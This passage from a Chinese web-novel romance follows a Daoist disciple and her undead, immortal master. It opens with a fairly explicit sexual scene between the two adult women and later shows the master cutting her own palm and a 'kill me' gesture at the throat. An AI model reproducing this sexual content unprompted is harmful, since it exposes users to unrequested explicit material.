“你为什么要舔嘴唇?” “没有为什么,是本能。” “你有点变态了师尊。” “嗯?怎么对师尊说话的?” “我错了,下次还敢。”傅清微直勾勾地盯着她,不好意思说因为刚刚看到她舔嘴唇,她又想了。 想到沁出一滴。 傅清微吻上了女人的唇角,辗转到唇瓣中央,绕着唇珠来回打转,从上唇到下唇,轻轻地咬住扯了扯女人的下唇后,舔开了唇缝。 她手肘支在穆若水的上方,变着法地吻她的唇,怎么都不腻。 偶尔穆若水享受她的主动,她躺着更有利于喉咙吞咽,属于傅清微的渡给她。 傅清微渐渐整个人都叠在了她的身上,女人衣冠整齐,睡衣的衣摆也在中途起床后弄得平整,傅清微的上衣衣扣只松了领口一颗,至于其他的不提也罢。 穆若水合着眼眸,左手扶在傅清微的后颈,张口懒洋洋地回应。 “师尊,你睡着了吗?”傅清微舔着她被自己亲得娇艳绯红的唇说道。 “没有。差一点。” 傅清微在这儿喘半天了,她快睡着!傅清微生气地捉过她的手,在食指指节咬了一口,留下一道微不足道的牙印。 她又在牙印上舔了舔,将她的手指含进口中,几番勾弄后,收回了被子里。 却不再停留原处,而是…… 她没把握好准头,穆若水手背蹭到了一些,傅清微撑着的胳膊卸力,差点砸在穆若水身上。 她及时往旁边一躺,侧着面向穆若水,细细地颤着身子,双瞳剪水,欲语还休。 穆若水收回手,用干净的指腹抚着她的脸,说:“你为何总是如此着急?” “是师尊让我等得急了。” “好好好,你如今越发伶牙俐齿。”再过些日子,怕是连穆若水都说不过她。 “徒儿知错,请师尊责罚。” 如今这形势,恐怕责罚也是奖励。 傅清微被不轻不重地捏了一下。 穆若水和她调换位置,单手撑在她枕头上,捏着她的下巴和她接吻。 傅清微间歇性主动,持久性躺平,两只手挂在女人的脖子上,恨不得把一切献上去。 不管是睡着还是醒神符,傅清微都得闭着眼睛,不像现在,亲一会儿对视一会儿,连接吻都无比漫长。 放在平时她肯定很高兴,眼下嘴皮子都快亲破了,师尊还在磨蹭。 她该不会是害羞吧? 傅清微涌出了一个莫名其妙却越想越有道理的可能。 傅清微:“如果我装睡你会自然一点吗?” 穆若水说:“笑话。你把眼睛闭上就行。” 傅清微听话地闭上了眼睛,进度条立刻动了。 柔软的触感经过了傅清微的锁骨,冰凉的发丝垂落,在腰腹撩起一阵痒意。 穆若水找到丢在一边的发带,将长发自脑后绑了,俯身亲了下来。 她的吻落得很轻,大约是傅清微醒着她心有顾忌,她来到傅清微微启的两片唇前,颤抖着翕动,想起她刚才拒绝了自己,便停了停。 她重新游上来,目光和偷看的傅清微对上,傅清微软软的腰抵着她同样的细腰磨蹭。 语气似有哀求:“师尊……” 穆若水似乎不敢直视她的眼睛,偏头去吻她的耳朵,一只手拢住她,五指轻触。 另一只手则摸了过去。 穆若水的脸埋在傅清微的颈窝里,耳边都是她的声音,越蹭越多,越蹭越满。 穆若水一动不动。 起初她还在亲她,后来傅清微的声音太好听,她为了听清干脆不自己制造出声音,连轻喘都压抑着。 她想:傅清微一个人好像也可以。 但事实证明还是不可以的。 傅清微来吻她,叫得断断续续:“师尊……师尊……” 穆若水自始至终沉默,一言不发,却翻过了掌心,贴住了她。 穆若水学了很多按摩推拿的手法,想来异曲同工。 傅清微怔怔地盯着她,身体被手掌带动得轻轻晃动,魂魄都要飞了,不晓得咬了师尊的舌尖多少下。 推拿按揉一般半个小时起,傅清微坚持到五分之一就已经用尽全力。 穆若水及时将自己的舌尖从傅清微唇齿间退了出来,只是唇还堵着她。 凡间不比山上,穆若水不让她太放肆地出声。 傅清微泛红的眼泪都流了出来,窝在她怀里颤抖了很久,又要咬她。穆若水伸出一根手指给她咬。 傅清微咬了一口脸色就变了。 “拿错了。”穆若水收回满手都是的右手,换到左手,说,“咬这里。” 傅清微根本不想咬她,只是撒娇,这会儿正在需要温存的时候,象征性地用唇碰了碰,便收回脸埋进女人颈窝。 她没问穆若水为什么不做到最后一步,反正都摊牌了,迟早的事。可能她又害羞了。 再提就恼羞成怒,得不偿失。 傅清微第一次清醒地在这时候和她依偎在一起,感受着她仍在逐渐升高的体温,说:“师尊,你好热。” “嗯。” 傅清微撩开她的衣领,脸颊好奇地贴了上去。 温度简直高得像变温动物。 奇怪的是她皮肤是热的,脸色却依旧白得似雪。 “为师的血热。”穆若水淡淡道。 血热是什么热?只听过热血,还有反过来的? 傅清微伸手用指尖碰了碰女人的脸颊,触感光滑冰凉。 为什么脸不热? 傅清微来不及想通这个问题,发现自己枕在了穆若水的右边胸口,离左心房的位置只有一步之遥。 她瞧了一眼穆若水,咬了咬下唇,慢慢地挪了过去。 想听听她的心跳是不是和自己的一样快。 穆若水垂眸望她,纵容了她的行为。 傅清微如愿以偿地到达了左边心口,将自己的耳朵贴了上去。 扑通—— 扑通—— 沉稳有力的跳动,是她自己提前想象出来的。 她雀跃地在心里念了两遍,后知后觉对方的胸腔一片沉寂。 像黑洞吞没了所有声音一样安静。 她不死心地又听了一遍。 医学上人的心脏最多能停跳5分钟,超过就会脑死亡,傅清微不知道听了多久,直到她的手脚都麻木,原本挂着的笑容消失,沙滩上的碉堡被突然的海浪倾没,所有的期待和想象坍缩成茫然和空白。 心脏没有传来一声回音。 穆若水平静的声音从头顶传出来。 “我已经死了。” 第105章 “在你面前的, 早就是个死人。” 穆若水留下这句话,抛下坐在床上怔神,似乎大受打击的傅清微去了客厅。 卫生间又传来水龙头打开的流水声。 穆若水开了镜子的灯, 在台盆前洗手。她抬起头, 镜中人雪肤花貌, 玉颈修长,流动的血液仍在经脉里保留余温, 颈间锁骨的肌肤洇出花瓣一样的浅粉色。 她那么像是一个人, 偏偏已经死了。 没有体温,没有心跳, 一具有思想有灵魂的尸体。 穆若水在一旁的毛巾上擦了手, 从卫生间走出来。 傅清微已经来到了客厅,把所有的灯都打开,看着她嘴唇动了动, 说:“今晚我睡客厅。” 穆若水扬了扬眉毛。 她故意作出云淡风轻的样子:“随你。” 傅清微把沙发床放下来, 已经盘在上面睡着的小三花雷打不动,傅清微薅了薅三花昏睡的脑袋,说:“猫给你还是给我?” 这话有点像分手决定孩子归属了。 傅清微改口说:“我的意思是, 你要不要猫陪你?” 穆若水:“不用。” “那你要不要我陪你睡?” “你敢吗?” “我敢。” 穆若水看她那个视死如归的样子,十分扫兴,说:“不必了,猫也归你。” 穆若水转身往卧室的方向走去。 傅清微在她进门前的最后一秒叫了一句:“师尊。” 穆若水脚步停顿, 随后把门关上了。 她在屋子里安静地站了一会儿,往自己的床前走去, 合目躺进了床里。 至少徒儿保住了。 至于其他的…… 没了也罢。 * 对傅清微来说, 今晚注定是个不眠夜。 她把小三花端到身前,自己躺在床上, 有一搭没一搭地把手伸进猫肚子厚厚的茸毛里。 她的师尊不是人。 前段时间还信誓旦旦人鬼殊途,坚定地棒打鸳鸯的傅法海迎来了来自自己的命运的回旋镖。 如果她不是人,那她是什么?是鬼是妖,还是魔? 她为什么会死?什么时候死的?死人是怎么修行的? 道观的石棺和符咒,难道是死而复生的禁术? 傅清微东想西想,所有的问题都可以去找穆若水亲自求证,虽然对方不一定能回答,但她现在不敢。 谁能在刚刚缠绵过后,知道枕边人不是人的晴天霹雳,下一刻就跟没事人似的去问她要答案。 不管答案是什么,她已经都不是人了! 此事其实早有端倪。 谁能被封印近百年容颜不改,一朝苏醒举止若常人?不是妖也是和妖同等级,甚至更高的物种。 她低于常人的体温,缺失的七情六欲,总是让自己睡在她的右边,时不时消失的呼吸…… 种种异常,傅清微不是没有产生过怀疑,但是人在真相揭开以前,总是寄希望于最美好的情况,不愿意去设想最坏的结果。 现在希望的泡泡破了。 傅清微不得不面对残酷的真相。 傅清微看了一眼真相,决定暂时当一会儿鸵鸟。 想在一晚上之内就想通,做出决定,这太强人所难。 她虽然不知道正确的决定是什么,但她知道什么是错误的答案。 傅清微辗转反侧,小三花被她薅烦了,喵的一声一爪子拍在她下巴上,跳下沙发溜走了。 …… 翌日,后半夜才睡的傅清微被梦惊醒,坐在天光里醒了一会儿神。 她打着哈欠去敲主卧的房门。 穆若水给她开了门,面色覆了一层霜。 傅清微笑吟吟:“师尊早上好。” 女人眉眼的霜雪化开一些,凝在眉心。 “找我有事?” “今天早上,我可以拥有师尊亲手做的早餐吗?” “你哪天没拥有?” 穆若水随手带上房门,自然地走向了冰箱,回来的少,都是些冻货。 “出差的时候。”傅清微跟在她身后说,“待会不是又要坐高铁出市吗?烦死了,我想吃桂花糖藕好久了。” “下次给你做。”穆若水翻了抽屉半天,只找出两袋速冻的半成品,说,“饺子还是馄饨?或者我给你下面条。” “面条吧,我想吃你亲手做的。” “是挂面。” “那也是你做的。”傅清微目光扫了眼女人的侧脸,刚好她背后有一束阳光打过来,映在侧脸,特别的好看。 放在往常她肯定毫不犹豫地就亲上去了,现在等穆若水转过身进了厨房,她也没有踏出那一步。 傅清微抿了抿唇。 好在穆若水似乎没有察觉。 她从橱柜里拿出了高筋面粉。 傅清微去卫生间洗漱,洗完做早课,接着挂在墙上做了几组引体向上,正着的,倒着的。穆若水扭头从透明的厨房玻璃往外瞧了眼,她的身影落在她的视线里。 傅清微双脚轻盈落在地面,呆呆地站着,表情跟挂在单杠上的时候一样迷茫。 从昨晚到现在,这几乎是她的待机神情。 穆若水拉开厨房移门,说:“吃饭了。” 傅清微抬起眼,一键切换到运行模式:“来了。” 早餐端上桌,现有的食材做成的一碗热气腾腾的面条,傅清微坐下来,执起筷子才发现不是挂面,而是现做的刀削面。 傅清微多愁善感的眼泪差点下来。 师尊对她这么好,是不是人又有什么关系? 她把昨晚的回答在心中又想了一遍。 穆若水:“还不吃等着我喂你?” 傅清微嘴快:“也不是不行。” 穆若水抬起手,手背冲她。 傅清微反省了自己最近的蹬鼻子上脸,轻轻地自掌嘴巴一下,忏悔:“我错了。面有点烫。” 她吹了吹,才用筷子夹了一根入口,爽滑劲道,如果有碟小菜就更好了。 穆若水进厨房给她端了碟榨菜。 穆若水:“我亲手、撕开包装倒出来的。” 傅清微忍俊不禁:“谢谢师尊。” “快吃。一会还要去高铁站。”穆若水坐在对面看她慢条斯理地挑面条吃,心想:连个问题都不问她吗?她不会是睡一觉起来失忆了吧? “我不是人,你听见了吗?”穆若水用比平时说话声音更小的音量说道。 傅清微差点把面条喷出来,抽了纸巾手忙脚乱地擦桌子。 “听见了。”她看着穆若水说。 “那没事了。”穆观主一时失态,立刻端住了自己的架子。 傅清微把面前的餐桌擦干净,继续吃面,低头前问道:“师尊曾经是人?” 否则她不会说“已经”死了。 “是。” “多久以前?” “躺进棺材里以前,也有可能更早一点,不记得了。” “是怎么死的?” “也不记得了。” 傅清微咀嚼完面条咽下去,继续问:“那师尊现在是什么?” “不好说。” “是妖是魔是鬼?” “说不好。”穆若水依旧模棱两可,不愿意正面回答她这个问题。 “寿数几何?” “长生不老。” 傅清微屏住呼吸问了这个她最关心的问题,在得到答案的同时手里的筷子松了一下,险些没握稳跌在地上。 她用力地攥紧了竹筷,无论如何也露不出一个自然的笑容,只好低头僵硬地掩饰。 一时间餐桌只有她进食的声音,此外静谧万分。 她不在乎穆若水是妖非人,她们俩在一起没有伤天害理,即使魔又如何?她到现在都没有真正杀过一个人。 但她最害怕不能与她共白首。 人妖鬼怪,人族的寿命最短,长命百岁就是人类能给出的最好的长寿祝福。一百岁对妖来说呢,弹指一挥间。 她只会是穆若水漫长生命里的一个过客。 她不想当过客,她想成为她的终点。 说她自私也好,贪婪也罢,可是谁第一次喜欢一个人,会甘愿只做陪她一程的人? 她的落点,在她那里只是一个逗号。 比起消化她不是人的事实,她们之间寿数的差距才是傅清微迈不过去的天堑。 更别提一人永葆青春,另一个人鸡皮鹤发,鲜明残忍。 “我吃好了。”傅清微站起来收拾碗筷。 穆若水去房间把昨晚收好的行李箱推出来,傅清微在客厅打开检查了一遍,两人带着猫关上大门离开。 傅清微的话显而易见地少了。 两人买的商务舱第二排连在一起的座位,傅清微给她调好了躺卧,自己坐着扭头看窗外的风景,或者看书玩手机。 从前恨不得穆若水的眼睛黏在自己身上,反之亦然。 现在两人一对视,傅清微就偏开视线,又觉得欲盖弥彰,师尊可能会伤心,强迫自己看向她。 穆若水:“……” 她又不是瞎的,强颜欢笑都看不出来。 穆若水干脆闭上眼睛睡觉,眼不见心不烦。 给徒儿时间与空间。 反正她的时间多的是,该忧虑的是傅清微。 把一生的维度放在千年万年里是非常短暂的,某种意义来说,她看向穆若水的次数,看一眼少一眼。如果不看,连这一眼都没有了。 宾馆前台,取了大床房的房卡。 一晃又来到了晚上。 傅清微洗漱完,盘好腿准备打坐,特意叮嘱了一句:“师尊困了的话就先睡吧,不用等我。” 穆若水听话地拉起被子就睡了。 她像这样言听计从的机会不多,傅清微又开始觉得她很可爱想亲,打坐都迟了两分钟进入状态。 满室的清气围绕着打坐的年轻女人盘旋,在修行者眼里会看到一团流动的白雾,以她为中心旋转,融入皮肤,经络,最后是血液。 气血充盈,周天清气饱满,犹如乘鹤的仙人般飘飘然。 傅清微缓了许久才从周天之变的玄妙中脱离出来,她不知不觉被清气吹动的衣服慢慢地贴合在皮肤上,肌肤表面出了一层汗。 傅清微轻手轻脚地进了淋浴间又洗了一个澡。 回来躺在了另外的半张床上。 她睡不着,开灯观察穆若水的呼吸,结果就是她真的不呼吸。 穆若水会在醒着的时候维持曾经做人的习惯,睡着了就不装了,不想装的时候也懒得装。 傅清微伸出的二指从她鼻翼下收回来,侧耳去听她空荡荡的心跳,胸腔一片寂静。 傅清微紧张唤了她一句:“师尊?” 穆若水闭眼应了她一声。 “没死。” 傅清微被她幽默到,笑容没有持续太久,便渐渐淡去,她说:“我关灯了?晚安。” “晚安。” 这是她们自同床以来彼此距离隔得最远的一次。 傅清微的睡相不太好,但今夜她睡得浅,只要脚伸过去碰到冰凉的温度,她就会惊醒,把自己越界的肢体收回来。 睡睡醒醒地折腾了一晚上,傅清微早晨睁眼醒过来,发现自己睡在床的正中间,姿势豪放,而穆若水正蹲在地上逗猫。 从小三花潦草的表情和它闭上了就不想再睁开的眼睛来看,应该是惨遭蹂躏已久。 傅清微下了床,救小三花于水火。 穆若水站在一旁,垂袖淡道:“待会去前台换成标间吧。” 傅清微回头就要反驳,但想起她估计半宿没睡,反对变成了同意:“好。” 穆若水空旷的胸腔压了一块不大不小的石头,明明不需要喘气却感觉透不过气,她把其中一张房卡拿在手里,语速飞快地说:“我去楼下等你。” “啊?” 傅清微再一个回头的工夫,她的身影就不见了。 穆若水一直出了酒店大楼,随便挑了个方向走,算准时间又走回来。 她像是一只被放飞的风筝,飞了很远很久以后,才发现自己把线的那端放在了一个人手里,再想剪断它似乎来不及了。 * 傅清微:【你说许仙和白娘子之间要是没有法海,等许仙老了,白娘子还那么年轻,她们俩可怎么办?】 甘棠:【???】 傅清微:【有没有可能法海看穿了真相,所以他其实是助攻】 甘棠:【???】 傅清微:【许仙一开始要是知道白素贞是条蛇,她还会和她在一起吗?】 甘棠:【可是白素贞长得漂亮啊,而且她又不是蛇身和他在一起】 傅清微:【虽然你是已读乱回,但你说得对,而且白素贞对她特别好,天底下第一好】 甘棠:【那我小青排第几?】 傅清微:【你不是小青,你不配。我才是小青,青白才是真爱】 甘棠给她发送了一个视频邀请。 傅清微正在一楼大厅沙发等穆若水散心回来,戴上耳机接通了视频,面朝门口。 甘棠怼脸:“一键查询精神状态。” 傅清微:“离错乱不远了。” 甘棠坐在家里客厅有阳光的地毯上:“看你垂头丧气的,受什么刺激了?法海找上门了?” “说出来你可能不信,我遇到白素贞了。” “我信啊我信啊,你们当道士的,遇到个把妖精区区不在话下。世上都有鬼了……” “你怎么知道世上有鬼?” “我猜的。”甘棠忽略脑海这个坚定植入的念头,兴奋道,“是什么妖?狐狸妖?兔妖?还是虎妖豹子妖?是蛇的话你就完啦,得爽死。” 不是蛇她也已经爽死了。 爽完以后的事,让她忘记自己刚刚爽过。 昨晚那么好的氛围和激情四溅,她到现在竟然都没有回味。 “先挂了。”傅清微决定先抓紧时间回味,冲淡这一天的凄风苦雨。 “喂,该不会真是蛇吧?你不对劲,你的表情非常不对劲!” 在甘棠即将看破真相的叽喳声中,傅清微毅然决然地挂断了视频。 昨晚她记得清楚做了的有四次,中间她被弄得意识模糊到的次数记不清了,至少也有两三次,算三次吧,这样就一夜七次了。 自己也是出息了,吃上国宴了。 傅清微戴上墨镜,坐在角落里的单人沙发,一边等穆若水一边想她,主要是不正经的那些事。 穆若水走进大门,傅清微连忙将墨镜摘了,因为思想没转过来,整个人呈现的就是见心上人的状态,眼眸晶亮地跑过来。 “师尊!” 穆若水心里的那口郁气忽然松了。 “等很久了吗?” “没有,我陪猫玩了一会儿,刚下来。” 穆若水伸出指尖,自然地给她理了理额前的碎发。 两人去换房间的时候气氛也不如早晨僵硬,穆若水的眉眼间隐隐的笑意一直延续到看到两张单人床摆在新房间里。 好久没见标间了,真碍眼啊。 换好房间两人便出门办灵管局的差事去了,这趟出差不难,有穆若水保驾护航更是没什么问题,期间最大的困难都出在没有闹别扭但胜似闹别扭的内部关系上了。 师尊已经三天没有亲她了。 傅清微掰着指头数的日子,也三天没有同床共枕了。 第一天晚上傅清微睡得十分自在,想怎么躺就怎么躺,睡成大字也不用担心会碰到另一个人。 第二天夜里她开始难以成寐,枕边没有熟悉的香气,她手伸得再远,只会伸出床外,牵不到穆若水的手,蹭不到她滑如凝脂的小腿。 她和师尊一样,馋对方的身子。 喜欢的表现形式,即使不水乳交融,也一定会本能喜欢、习惯对方的气息。 第三天晚上,傅清微实在受不了了,半夜坐到女人床边盯着她。 穆若水被她盯得不得不睁开眼,说:“你有要事?” 傅清微没有要事,就是想要了。 “想要师尊……抱我。”她难以启齿地说出了口。 穆若水往后挪,空出身前的位置,傅清微躺上了女人的床,睡在她的怀里。 傅清微在她怀里拱来拱去,贪婪地把前两天没有闻到的气息统统补上。 她埋在女人的颈窝里,鼻尖和唇瓣紧紧地贴着女人光滑的肌肤逡巡,闭目陶醉,很难说谁更像吸食人气的妖精。 尤其她还不停地发出满足的嗯~声。 好像在借着她的身体精神自^慰。 深夜令人面红耳赤的低吟悉数传入女人的耳朵。 穆若水闭了闭眼,神情隐忍道:“为师并非坐怀不乱的柳下惠,你再这么叫下去……” 傅清微迅速噤声。 她不是不想,但不能主动不明不白,做完了她就要给答案。如果师尊愿意主动不清不楚,她是被诱惑的,那就不同了。 师尊技术太好,她拒绝不了在情理之中。 可是穆若水比她沉得住气。 不仅没有睡她,而且没有碰她一根手指头,傅清微连半推半就的余地都没有。 她总不能哪儿都没碰到就叫得跟那什么似的吧。 前几天刚做完七次,她可以忍。 按照耐心来说,师尊先前连给她下安睡符都要那么对她,她最多只有一个星期的限度,说不定是她的物种决定的本能。而自己一个寡了二十年的人类,不过是暂时重新回到孤寡的状态,还不手到擒来? ……并没有。 “师尊早上好。”傅清微睡眠充足,脸颊红润地从穆若水怀里醒过来。 “早上好。”穆若水在狭窄的单人床侧躺,后背有一半都在被子外面,催促说,“醒了就快起来。” 半点温存也无。 以前她们睡一起,有时氛围好穆若水会亲她的额头。 小三花跳上来,给受了打击的傅清微再一次重锤,从她胸口踩了过去。 穆若水用手接住小猫,顺势从另一边下床。 傅清微捂着被踩过的胸口侧身看一人一猫在光线下玩闹,良久才想起来师尊不是个人。不是个人又如何呢?她其实根本不在意。 寿命的差距是摆在面前的事实,她改变不了,更离不开她。 其实难得糊涂,得过且过是最好的,她才二十一岁,离老去还有很长的时间,要为了不确定的未来而放弃现在吗? 道理说给别人听都很容易,写下来也很容易,她劝甘棠时头头是道,劝自己时也条理分明。 等真的身处其中,她没办法不去想未来,那个有朝一日。 时间很长又很短,老去的过程占据一生的二分之一。再过十年,她会看起来比穆若水年长,再过二十年,她们的相貌就会有明显的差距。 她那个时候说杜昔言更痛苦,可轮到自己,她觉得看着爱人容颜永驻,自己只能一天天衰老下去,才是最痛苦的那一个。 皮肤松弛、头发花白、牙齿掉光,她会连喊她的名字都费力。 这都不是她最害怕的,她最害怕望向她的那双目光会不再温柔,毕竟师尊到现在都没有承认过喜欢她。 傅清微坐在床沿,问她的师尊:“师尊最喜欢我什么?” “温柔乖巧,听话……”穆若水摇头说,“现在不太听话了。” “那我的脸呢?” “自然也是喜欢的,我不愿和丑人多话。” 傅清微笑了笑,眼睫染上浅浅的泪意,又说:“假如有一天我老得鸡皮鹤发,不那么好看了,你还会像现在这样看着我吗?” 穆若水说:“虽然我的记性不太好,你这张脸我已经记牢了。在我心目中,你永远都是现在的样子。透过我的眼睛看到的,也永远会是二十岁年轻的你。” 第106章 傅清微担心她老了, 会色衰而爱弛,本就不多的爱消磨,露出丑陋的面貌。 到时候师尊对她厌烦, 年轻时的记忆不足以支撑漫长的晚年。 其实对穆若水来说, 比起老, 她更担心她会死。对一个长生不老的人来说,五十年和一百年的区别, 不过是多眨了一下眼睛。 傅清微在她心目中会永远是二十岁她第一次见到她的样子。 这不是一句情话, 对她来说是事实。 但不妨碍傅清微因为她的话再次掉眼泪。 正因为傅清微知道她不会撒谎,字字肺腑, 句句当真。 穆若水叹了口气, 抽了几张纸巾过来,给哭得梨花带雨的傅清微擦眼泪,说:“不能因为你哭起来好看, 就一直哭吧?” 傅清微差点破涕为笑。 可师尊故意说好话哄她, 对她这么温柔,她更想哭了。 穆若水的肩膀被她哭湿了一片,她自己的眼眶也有些发酸, 不明白为什么。 她落在傅清微身后的手轻轻地拍着她的背。 最后以傅清微吸了吸鼻子,宣告了这场谈话的落幕。 傅清微得到了穆若水肯定的回答,甚至算一个承诺,本质上并不能解决任何问题。 她们俩的情况比甘棠和杜昔言更复杂, 杜昔言再怎么容颜不改,甘棠寿终后, 二人还可以手拉手去地府转世, 生死都在一起。活着的时候相爱,死了也不分开。 遗憾的是, 她和师尊并没有到相爱这步,就已经面临如此险峻的难题。 如果她一开始知道穆若水长生不老,还会喜欢上她吗? 会。 可能她会在最初更纠结,更挣扎,在进退维谷的境地里,无可救药地选择喜欢她,哪怕痛苦万分。 爱的诞生,就不存在自由意志。 她应该庆幸自己获得了几个月纯粹的欢喜和幸福。 回鹤市的高铁上,傅清微问身边坐着的穆若水:“师尊本来想瞒着我这件事多久?” “瞒到瞒不住那天为止。”比如她六十岁了,发现穆若水还是二十三四的模样,到时候再怎么借口道行高深也漏洞百出了。 “为什么没有坚持下去?” 傅清微想:这样她就能无知无觉地再过二十年。 穆若水也在想为什么突然决定坦白。 是因为亲眼目睹杜昔言和甘棠的悲剧吗?还是傅清微说的那句“人鬼殊途”“长痛不如短痛”? 穆若水垂在身侧的指节曲了曲,没有看向她的视线投向窗外。 “因为觉得对你不公平。” 傅清微把她当一个人类来喜欢,幻想着人类才有的美好未来,长命百岁,白头到老。 这些她都给不了她。 她还年轻,趁着她对她的情分还不深,她若是想及时抽身,也……来得及。 就像甘棠一样。 傅清微的脑袋轻轻地靠过来,枕在她的肩膀上,闭着的长睫毛尾端慢慢染上湿意。 似乎从她知道真相以后,就总是泪意朦胧。 如果和她在一起真的如此痛苦的话…… 穆若水说:“你可以离开我,我不会杀你。” 傅清微立刻睁开眼睛,难以置信道:“你说什么?” “我说,你可以离开我。”穆若水那双无机质般冰冷的眼珠里看不到任何人类的情绪,傅清微在此之前从未深思过,为什么她总是冷冰冰的模样,没有活人的感情。 傅清微:“你要赶我走?因为我是人?” 穆若水:“我只是给了你一个选择,你应该珍惜,我不是常有这种耐心和宽容。” “可是我离不开你。”傅清微放低了语气道。 “离不开无非是依赖。”穆若水说,“我可以像抹去甘棠的记忆那样,抹掉你的记忆……” “不行!”傅清微打断她,同时两只手挡在自己的眉心,说,“你休想抹去我的记忆,我死也要记得!” “……” 傅清微委屈地说:“师尊,你是不是嫌弃我是人?” 穆若水一口气没缓上来,顿了一下咽回去:“我何曾嫌弃你是人?” “那你为什么赶我走?” “我何时……” “刚刚!” “为师是……为师只是……”穆若水不能答,她不能说是自己不忍见她为此事日夜痛苦,她心里也不好受,不如一了百了。做这个决定她不比傅清微轻松半分。 “只是什么?” “随口一说。但你也可以放在心上,在我反悔之前都有效。” “我不会离开你的。”傅清微的话立刻响起来,不管她说什么,她只认准这条,靠过去重新抱住女人的手。 “真的?”穆若水沉默良久,问了一句。 “真的。” “那你再离开,我就……” “杀了我。”傅清微接上她的下半句,同时掰开她紧攥的掌心,握住她手腕五指掐住自己的脖子。 穆若水猝不及防,带出一个轻轻的语气词,懊恼:“你。” 傅清微也“咦”了一声,感觉自己脖子里湿湿的,抬手去摸,她拿下指尖一看,是红色的鲜血。 她受伤了?为什么没有疼痛感? 那么刚刚接触过她脖子的…… 傅清微迅速捉住了穆若水往回抽的手,摊开她被自己指甲划得鲜血淋漓的手掌。 穆若水第一时间嘴硬:“我划着玩儿。” 傅清微不和她争执,压着眉眼道:“我给你包扎。” “不必,已经好了。不信你自己看。” 傅清微仔细捧起她的手,底下深可见骨的伤口肉眼可见的速度愈合,在她眼皮子底下恢复如初。 饶是如此,傅清微还是用湿巾和纸巾擦净了她手心的血迹。 她最近哭得太多了,所以这次没有再哭,只是一时没有开口,自己消化情绪。 穆若水看出她在强忍,便说:“我和你们不一样,我一点都不疼。不信你可以用剑捅我一次,能划破我一块皮我算你赢。” 她安慰人的法子着实新奇。 傅清微抽噎:“我赢了是什么了不起的事吗?” “是啊,这样你就可以出师了。” “……” 傅清微不想和她继续这个话题。 “我想喝水。” 穆若水拧开瓶盖,给她递矿泉水。 “师尊是不是很怕我会离开你?” “不是。”穆若水心想,只是有点慌,不能理智思考,要通过一些手段比如伤害自己来保持冷静。疼还是会疼的,只是她的耐受能力太高,很多常人觉得难以忍受的酷刑对她而言都不过尔尔。 凌迟已经是最残忍的刑罚,可区区皮肉之刑,怎抵得过焚魂的十分之一。 “假如我走以后,你会去哪里?”傅清微两只手分别牵住她的两只手,阻止了她转移注意力的逃避。 “找个山清水秀的地方把自己埋了。” “之后呢?” “睡过去,等我忘记你。” “你知不知道你说这样的话,只会让我更难离开你。”傅清微看着她的眼睛说。 穆若水皱眉。 她还是想走? “幸好我从来没有想过要离开你。” 穆若水心里的大石又落了下去。 在傅清微不知道的时候,把师尊玩弄于股掌之间。 傅清微不全是恋爱脑发作,她在世上一个亲人都没有,离开了穆若水她又能去哪里呢?回到普通人的生活吗?见识过一切以后她也回不去了。 穆若水是她喜欢的人,也是她最亲的人,这辈子她生死都会跟她在一起。 她把这番话告诉穆若水,果然又给对方喂了一粒定心丸。 至此两人算是确立了彼此都不会离开的心意相通。 傅清微开始想从她那里听一些好听的话,一到自己情绪低落的时候,师尊就会无师自通地变身情话放送机,机不可失。 “为什么我走了以后,师尊不回山上呢?” “山上都是你生活过的痕迹,我会想……起你。” “是想我吧?” “知道还问。” “想听嘛。” 穆若水拿出手机打字:【物是人非,汝所遗留,吾不忍目睹,恐触景生情,悲伤难抑】 傅清微本来只想随便听点普通情话,穆若水给的又超过了她的想象。 她把这段话长按收藏后,又来回看了好几遍,每一遍的感触都更深一些。 师尊对她如此深情,这份情里,爱情的比重是多还是少有那么重要吗? 这个世界上,她一定是穆若水最爱的那个人。 傅清微默默地红了眼眶。 穆若水看着她一副又要哭出来的样子,提前准备好的指背接住了从眼眶掉出来的第一颗眼泪。 “你向我保证这是你最后一次哭,不然我真的要生气了。” “在你的床上也不行吗?”傅清微语出惊人,扭头一脚油门踩上了高速。 穆若水被打了个措手不及,表情瞬间空白。 二人站在了蓬莱观的后院木门门口。 小三花炮弹出笼,和小狸花眨眼间跑没了影。 她们总是半夜才回到道观,洗洗就该睡了。 虽然傅清微嘴上很勇,但是行动上畏手畏脚,她们俩自从那晚睡了,穆若水自爆身份到现在,一次吻都没有接过。 傅清微不主动,穆若水尊重她的意见。 接吻向来是傅清微先开始,对方一次也没占过先机,通常后发制人。 穆若水贯彻不主动、不拒绝、不负责,但服务意识到位。 连接吻都不接,更别提上床了。 好在傅清微受够了标间的不便,回道观的第一晚两人便在同一张床睡了个素觉。 第二日起来傅清微都没精神,恹恹地倚靠柱子,看两只猫围着院子追逐。 穆若水刚从山下采了两片新鲜的荷叶回来,握着一节白生生的脆藕,那脆藕在她手里,反而衬得她手背的皮肤更白。 师尊真好看啊。 青袍的袖子宽大,被她挽了起来,露出肘弯以下的白皙小臂,线条流畅不说,她是真的白,白得发光那种,像是名贵稀有的玉石,无一处可以挑剔。 她抬脚踏入门槛,身后是冉冉升起的朝阳。 刚好有鸟雀从枝头飞了起来。 一路撞进傅清微的心里。 她顿时活过来一二分。若是师尊能亲她一口,至少能活五分。 师尊在她面前停了下来,蹙眉道:“你怎么了?” 傅清微低头看看她不输那节脆藕的胳膊,更白更嫩,有气无力说:“馋了。” 穆若水看她不仅是馋了,更是饿惨了。 昨夜回来得晚,半下午就没进食了。 “为师这就去给你做饭。” “师尊。”傅清微叫住她匆忙进厨房的背影。 声音依旧是虚弱的,身体仍然是站不直的,只剩半口气的样子。 穆若水担忧地走回来,伸手探她的额头。 傅清微晃了晃脑袋,挣开她的手,病歪歪,说一口喘一口,说:“我馋师尊。” “?” “我想吃师尊的舌头。” “……” 要不是穆若水现在手里拿着藕,她想用两只手捂住自己的耳朵。 此等不堪入耳之话,竟然是从傅清微口中说出来的。 但她好像真的挺不过去了。 穆若水单手搂住她,说:“我扶你回房间休息一会儿?” “没用的,我已经病入膏肓了。”傅清微盯着她形状完美的唇瓣,说,“除非师尊让我吃一口。” 穆若水默了默。 “你想吃就吃,又何必问。” 她什么时候真正拒绝过她?就算现在局势微僵,也是傅清微不习惯她们的新关系带来的。她怕不是活人吻她,她会不自在,乃至害怕、恶心。 她回答的下一秒,傅清微便将她推抵到了柱子上。 穆若水背靠着柱子,面对她垂下眼眸,长睫毛浓密,好不惹人怜爱。 傅清微先捉起师尊的手,在她脆生生的小臂咬了一口,几乎能尝到鲜嫩的汁水。 